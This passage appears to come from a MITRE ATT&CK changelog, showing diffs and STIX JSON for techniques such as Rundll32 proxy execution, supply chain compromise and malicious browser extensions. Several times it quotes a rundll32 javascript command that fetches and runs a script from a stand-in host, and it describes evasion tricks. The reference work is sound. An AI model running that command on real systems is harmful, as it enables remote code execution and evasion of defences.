| > | dates from an adversary-controlled server or manipulate the | > | dates from an adversary-controlled server or manipulate the | ||
| > | mobile configuration file to silently install additional ext | > | mobile configuration file to silently install additional ext | ||
| > | ensions. Previous to macOS 11, adversaries could silentl | > | ensions. Adversaries may abuse how chromium-based browsers | ||
| > | y install browser extensions via the command line using the | > | load extensions by modifying or replacing the Preferences a | ||
| > | <code>profiles</code> tool to install malicious <code>.mobil | > | nd/or Secure Preferences files to silently install malicious | ||
| > | econfig</code> files. In macOS 11+, the use of the <code>pro | > | extensions. When the browser is not running, adversaries ca | ||
| > | files</code> tool can no longer install configuration profil | > | n alter these files, ensuring the extension is loaded, grant | ||
| > | es; however, <code>.mobileconfig</code> files can be planted | > | ed desired permissions, and will persist in browser sessions | ||
| > | and installed with user interaction.(Citation: xorrior chro | > | . This method does not require user consent and extensions a | ||
| > | me extensions macOS) Once the extension is installed, it | > | re silently loaded in the background from disk or from the b | ||
| > | can browse to websites in the background, steal all informat | > | rowser's trusted store.(Citation: Pulsedive) Previous to | ||
| > | ion that a user enters into a browser (including credentials | > | macOS 11, adversaries could silently install browser extensi | ||
| > | ), and be used as an installer for a RAT for persistence.(Ci | > | ons via the command line using the <code>profiles</code> too | ||
| > | tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro | > | l to install malicious <code>.mobileconfig</code> files. In | ||
| > | me Extensions)(Citation: Banker Google Chrome Extension Stea | > | macOS 11+, the use of the <code>profiles</code> tool can no | ||
| > | ls Creds)(Citation: Catch All Chrome Extension) There have | > | longer install configuration profiles; however, <code>.mobil | ||
| > | also been instances of botnets using a persistent backdoor | > | econfig</code> files can be planted and installed with user | ||
| > | through malicious Chrome extensions for [Command and Control | > | interaction.(Citation: xorrior chrome extensions macOS) O | ||
| > | ](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti | > | nce the extension is installed, it can browse to websites in | ||
| > | nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari | > | the background, steal all information that a user enters in | ||
| > | es may also use browser extensions to modify browser permiss | > | to a browser (including credentials), and be used as an inst | ||
| > | ions and components, privacy settings, and other security co | > | aller for a RAT for persistence.(Citation: Chrome Extension | ||
| > | ntrols for [Defense Evasion](https://attack.mitre.org/tactic | > | Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: | ||
| > | s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr | > | Banker Google Chrome Extension Steals Creds)(Citation: Catch | ||
| > | ozek) | > | All Chrome Extension) There have also been instances of b | ||
| > | otnets using a persistent backdoor through malicious Chrome | ||||
| > | extensions for [Command and Control](https://attack.mitre.or | ||||
| > | g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr | ||||
| > | ome Extension C2 Malware) Adversaries may also use browser e | ||||
| > | xtensions to modify browser permissions and components, priv | ||||
| > | acy settings, and other security controls for [Defense Evasi | ||||
| > | on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow | ||||
| > | ers FriarFox)(Citation: Browser Adrozek) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may upload malware to third-party or adversary c | t | 1 | Adversaries may upload malware to third-party or adversary c |
| > | ontrolled infrastructure to make it accessible during target | > | ontrolled infrastructure to make it accessible during target | ||
| > | ing. Malicious software can include payloads, droppers, post | > | ing. Malicious software can include payloads, droppers, post | ||
| > | -compromise tools, backdoors, and a variety of other malicio | > | -compromise tools, backdoors, and a variety of other malicio | ||
| > | us content. Adversaries may upload malware to support their | > | us content. Adversaries may upload malware to support their | ||
| > | operations, such as making a payload available to a victim n | > | operations, such as making a payload available to a victim n | ||
| > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | ||
| > | e.org/techniques/T1105) by placing it on an Internet accessi | > | e.org/techniques/T1105) by placing it on an Internet accessi | ||
| > | ble web server. Malware may be placed on infrastructure tha | > | ble web server. Malware may be placed on infrastructure tha | ||
| > | t was previously purchased/rented by the adversary ([Acquire | > | t was previously purchased/rented by the adversary ([Acquire | ||
| > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | ||
| > | or was otherwise compromised by them ([Compromise Infrastru | > | or was otherwise compromised by them ([Compromise Infrastru | ||
| > | cture](https://attack.mitre.org/techniques/T1584)). Malware | > | cture](https://attack.mitre.org/techniques/T1584)). Malware | ||
| > | can also be staged on web services, such as GitHub or Pasteb | > | can also be staged on web services, such as GitHub or Pasteb | ||
| > | in, or hosted on the InterPlanetary File System (IPFS), wher | > | in; hosted on the InterPlanetary File System (IPFS), where d | ||
| > | e decentralized content storage makes the removal of malicio | > | ecentralized content storage makes the removal of malicious | ||
| > | us files difficult.(Citation: Volexity Ocean Lotus November | > | files difficult; or saved on the blockchain as smart contrac | ||
| > | 2020)(Citation: Talos IPFS 2022) Adversaries may upload bac | > | ts, which are resilient against takedowns that would affect | ||
| > | kdoored files, such as application binaries, virtual machine | > | traditional infrastructure.(Citation: Volexity Ocean Lotus N | ||
| > | images, or container images, to third-party software stores | > | ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E | ||
| > | or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock | > | therhiding 2023)(Citation: Bleeping Computer Binance Smart C | ||
| > | er Hub). By chance encounter, victims may directly download/ | > | hain 2023) Adversaries may upload backdoored files, such as | ||
| > | install these backdoored files via [User Execution](https:// | > | software packages, application binaries, virtual machine im | ||
| > | attack.mitre.org/techniques/T1204). [Masquerading](https://a | > | ages, or container images, to third-party software stores, p | ||
| > | ttack.mitre.org/techniques/T1036) may increase the chance of | > | ackage libraries, extension marketplaces, or repositories (e | ||
| > | users mistakenly executing these files. | > | x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). | ||
| > | (Citation: Datadog Security Labs Malicious PyPi Packages 202 | ||||
| > | 4) By chance encounter, victims may directly download/instal | ||||
| > | l these backdoored files via [User Execution](https://attack | ||||
| > | .mitre.org/techniques/T1204). Masquerading, including typo-s | ||||
| > | quatting legitimate software, may increase the chance of use | ||||
| > | rs mistakenly executing these files. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate products or product delivery mech | t | 1 | Adversaries may manipulate products or product delivery mech |
| > | anisms prior to receipt by a final consumer for the purpose | > | anisms prior to receipt by a final consumer for the purpose | ||
| > | of data or system compromise. Supply chain compromise can t | > | of data or system compromise. Supply chain compromise can t | ||
| > | ake place at any stage of the supply chain including: * Man | > | ake place at any stage of the supply chain including: * Man | ||
| > | ipulation of development tools * Manipulation of a developme | > | ipulation of development tools * Manipulation of a developme | ||
| > | nt environment * Manipulation of source code repositories (p | > | nt environment * Manipulation of source code repositories (p | ||
| > | ublic or private) * Manipulation of source code in open-sour | > | ublic or private) * Manipulation of source code in open-sour | ||
| > | ce dependencies * Manipulation of software update/distributi | > | ce dependencies * Manipulation of software update/distributi | ||
| > | on mechanisms * Compromised/infected system images (multiple | > | on mechanisms * Compromised/infected system images (removabl | ||
| > | cases of removable media infected at the factory)(Citation: | > | e media infected at the factory)(Citation: IBM Storwize)(Cit | ||
| > | IBM Storwize)(Citation: Schneider Electric USB Malware) * | > | ation: Schneider Electric USB Malware) * Replacement of leg | ||
| > | Replacement of legitimate software with modified versions * | > | itimate software with modified versions * Sales of modified/ | ||
| > | Sales of modified/counterfeit products to legitimate distrib | > | counterfeit products to legitimate distributors * Shipment i | ||
| > | utors * Shipment interdiction While supply chain compromise | > | nterdiction While supply chain compromise can impact any co | ||
| > | can impact any component of hardware or software, adversari | > | mponent of hardware or software, adversaries looking to gain | ||
| > | es looking to gain execution have often focused on malicious | > | execution have often focused on malicious additions to legi | ||
| > | additions to legitimate software in software distribution o | > | timate software in software distribution or update channels. | ||
| > | r update channels.(Citation: Avast CCleaner3 2018)(Citation: | > | (Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil | ||
| > | Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ | > | 2018)(Citation: Command Five SK 2011) Adversaries may limit | ||
| > | eting may be specific to a desired victim set or malicious s | > | targeting to a desired victim set or distribute malicious so | ||
| > | oftware may be distributed to a broad set of consumers but o | > | ftware to a broad set of consumers but only follow up with s | ||
| > | nly move on to additional tactics on specific victims.(Citat | > | pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit | ||
| > | ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 | > | ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) | ||
| > | 2018)(Citation: Command Five SK 2011) Popular open source p | > | Popular open-source projects that are used as dependencies | ||
| > | rojects that are used as dependencies in many applications m | > | in many applications may also be targeted as a means to add | ||
| > | ay also be targeted as a means to add malicious code to user | > | malicious code to users of the dependency.(Citation: Trendmi | ||
| > | s of the dependency.(Citation: Trendmicro NPM Compromise) | > | cro NPM Compromise) In some cases, adversaries may conduct | ||
| > | \u201csecond-order\u201d supply chain compromises by leveraging the ac | ||||
| > | cess gained from an initial supply chain compromise to furth | ||||
| > | er compromise a software component.(Citation: Krebs 3cx over | ||||
| > | view 2023) This may allow the threat actor to spread to even | ||||
| > | more victims. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns may be targeted as a means to add malicious code to users | > | ns, such as pip and NPM packages, may be targeted as a means | ||
| > | of the dependency.(Citation: Trendmicro NPM Compromise) | > | to add malicious code to users of the dependency.(Citation: | ||
| > | Targeting may be specific to a desired victim set or may be | > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | ||
| > | distributed to a broad set of consumers but only move on to | > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | ||
| > | additional tactics on specific victims. | > | PyPI Packages Disguised) This may also include abandoned pac | ||
| > | kages, which in some cases could be re-registered by threat | ||||
| > | actors after being removed by adversaries.(Citation: The Hac | ||||
| > | ker News PyPi Revival Hijack 2024) Adversaries may also empl | ||||
| > | oy \"typosquatting\" or name-confusion by choosing names simil | ||||
| > | ar to existing popular libraries or packages in order to dec | ||||
| > | eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac | ||||
| > | kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C | ||||
| > | itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co | ||||
| > | mponents, such as GitHub Actions, may be targeted in order t | ||||
| > | o gain access to the building, testing, and deployment cycle | ||||
| > | s of an application.(Citation: Unit 42 Palo Alto GitHub Acti | ||||
| > | ons Supply Chain Attack 2025) By adding malicious code into | ||||
| > | a GitHub action, a threat actor may be able to collect runti | ||||
| > | me credentials (e.g., via [Proc Filesystem](https://attack.m | ||||
| > | itre.org/techniques/T1003/007)) or insert further malicious | ||||
| > | components into the build pipelines for a second-order suppl | ||||
| > | y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac | ||||
| > | tions are often dependent on other GitHub Actions, threat ac | ||||
| > | tors may be able to infect a large number of repositories vi | ||||
| > | a the compromise of a single Action.(Citation: Palo Alto Net | ||||
| > | works GitHub Actions Worm 2023) Targeting may be specific t | ||||
| > | o a desired victim set or may be distributed to a broad set | ||||
| > | of consumers but only move on to additional tactics on speci | ||||
| > | fic victims. |
rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/011",
"external_id": "T1218.011"
},
{
"source_name": "rundll32.exe defense evasion",
"description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
"url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
},
{
"source_name": "Attackify Rundll32.exe Obscurity",
"description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
"url": "https://www.attackify.com/blog/rundll32_execution_order/"
},
{
"source_name": "This is Security Command Line Confusion",
"description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
"url": "https://www.stormshield.com/news/poweliks-command-line-confusion/"
},
{
"source_name": "Github NoRunDll",
"description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
"url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
},
{
"source_name": "lolbas project Ieframe.dll",
"description": "lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.",
"url": "https://lolbas-project.github.io/lolbas/Libraries/Ieframe/"
},
{
"source_name": "lolbas project Zipfldr.dll",
"description": "lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.",
"url": "https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/"
},
{
"source_name": "Trend Micro CPL",
"description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gareth Phillips, Seek Ltd.",
"Casey Smith",
"Ricardo Dias",
"James_inthe_box, Me",
"Amir Hossein Vafifar"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.567000+00:00\", \"old_value\": \"2025-04-15 19:58:02.470000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n\\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"old_value\": \"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n\\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,9 @@\\n \\n Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\\n \\n-Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https[:]//www[.]example[.]com/malicious.sct\\\")\\\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\\n+\\n+Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\\n \\n Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n\\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n-\\n-Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"lolbas project Ieframe.dll\", \"description\": \"lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Ieframe/\"}, \"root['external_references'][6]\": {\"source_name\": \"lolbas project Zipfldr.dll\", \"description\": \"lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/\"}, \"root['x_mitre_contributors'][4]\": \"Amir Hossein Vafifar\"}}",
"previous_version": "2.4",
"version_change": "2.4 \u2192 2.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal | t | 1 | Adversaries may abuse rundll32.exe to proxy execution of mal |
| > | icious code. Using rundll32.exe, vice executing directly (i. | > | icious code. Using rundll32.exe, vice executing directly (i. | ||
| > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | > | e. [Shared Modules](https://attack.mitre.org/techniques/T112 | ||
| > | 9)), may avoid triggering security tools that may not monito | > | 9)), may avoid triggering security tools that may not monito | ||
| > | r execution of the rundll32.exe process because of allowlist | > | r execution of the rundll32.exe process because of allowlist | ||
| > | s or false positives from normal operations. Rundll32.exe is | > | s or false positives from normal operations. Rundll32.exe is | ||
| > | commonly associated with executing DLL payloads (ex: <code> | > | commonly associated with executing DLL payloads (ex: <code> | ||
| > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | > | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | ||
| > | an also be used to execute [Control Panel](https://attack.mi | > | an also be used to execute [Control Panel](https://attack.mi | ||
| > | tre.org/techniques/T1218/002) Item files (.cpl) through the | > | tre.org/techniques/T1218/002) Item files (.cpl) through the | ||
| > | undocumented shell32.dll functions <code>Control_RunDLL</cod | > | undocumented shell32.dll functions <code>Control_RunDLL</cod | ||
| > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | > | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | ||
| > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | > | .cpl file also causes rundll32.exe to execute.(Citation: Tre | ||
| > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | > | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. | ||
| > | org/techniques/T1127/002) can be proxied through Rundll32.ex | > | org/techniques/T1127/002) can be proxied through Rundll32.ex | ||
| > | e. Rundll32 can also be used to execute scripts such as Jav | > | e. Rundll32 can also be used to execute scripts such as Jav | ||
| > | aScript. This can be done using a syntax similar to this: <c | > | aScript. This can be done using a syntax similar to this: <c | ||
| > | ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \" | > | ode>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \" | ||
| > | ;document.write();GetObject(\"script:https[:]//www[.]example[ | > | ;document.write();GetObject(\"script:https[:]//www[.]example[ | ||
| > | .]com/malicious.sct\")\"</code> This behavior has been seen u | > | .]com/malicious.sct\")\"</code> This behavior has been seen u | ||
| > | sed by malware such as Poweliks. (Citation: This is Security | > | sed by malware such as Poweliks.(Citation: This is Security | ||
| > | Command Line Confusion) Adversaries may also attempt to ob | > | Command Line Confusion) Threat actors may also abuse legiti | ||
| > | scure malicious code from analysis by abusing the manner in | > | mate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.d | ||
| > | which rundll32.exe loads DLL function names. As part of Wind | > | ll</code>) with <code>rundll32.exe</code> to execute malicio | ||
| > | ows compatibility support for various character sets, rundll | > | us programs or scripts indirectly, making their activity app | ||
| > | 32.exe will first check for wide/Unicode then ANSI character | > | ear more legitimate and evading detection.(Citation: lolbas | ||
| > | -supported functions before loading the specified function ( | > | project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) | ||
| > | e.g., given the command <code>rundll32.exe ExampleDLL.dll, E | > | Adversaries may also attempt to obscure malicious code from | ||
| > | xampleFunction</code>, rundll32.exe would first attempt to e | > | analysis by abusing the manner in which rundll32.exe loads D | ||
| > | xecute <code>ExampleFunctionW</code>, or failing that <code> | > | LL function names. As part of Windows compatibility support | ||
| > | ExampleFunctionA</code>, before loading <code>ExampleFunctio | > | for various character sets, rundll32.exe will first check fo | ||
| > | n</code>). Adversaries may therefore obscure malicious code | > | r wide/Unicode then ANSI character-supported functions befor | ||
| > | by creating multiple identical exported function names and a | > | e loading the specified function (e.g., given the command <c | ||
| > | ppending <code>W</code> and/or <code>A</code> to harmless on | > | ode>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, run | ||
| > | es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi | > | dll32.exe would first attempt to execute <code>ExampleFuncti | ||
| > | thub NoRunDll) DLL functions can also be exported and execut | > | onW</code>, or failing that <code>ExampleFunctionA</code>, b | ||
| > | ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1< | > | efore loading <code>ExampleFunction</code>). Adversaries may | ||
| > | /code>). Additionally, adversaries may use [Masquerading](h | > | therefore obscure malicious code by creating multiple ident | ||
| > | ttps://attack.mitre.org/techniques/T1036) techniques (such a | > | ical exported function names and appending <code>W</code> an | ||
| > | s changing DLL file names, file extensions, or function name | > | d/or <code>A</code> to harmless ones.(Citation: Attackify Ru | ||
| > | s) to further conceal execution of a malicious payload.(Cita | > | ndll32.exe Obscurity)(Citation: Github NoRunDll) DLL functio | ||
| > | tion: rundll32.exe defense evasion) | > | ns can also be exported and executed by an ordinal number (e | ||
| > | x: <code>rundll32.exe file.dll,#1</code>). Additionally, ad | ||||
| > | versaries may use [Masquerading](https://attack.mitre.org/te | ||||
| > | chniques/T1036) techniques (such as changing DLL file names, | ||||
| > | file extensions, or function names) to further conceal exec | ||||
| > | ution of a malicious payload.(Citation: rundll32.exe defense | ||||
| > | evasion) |
tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1016/001",
"external_id": "T1016.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Christopher Peacock"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
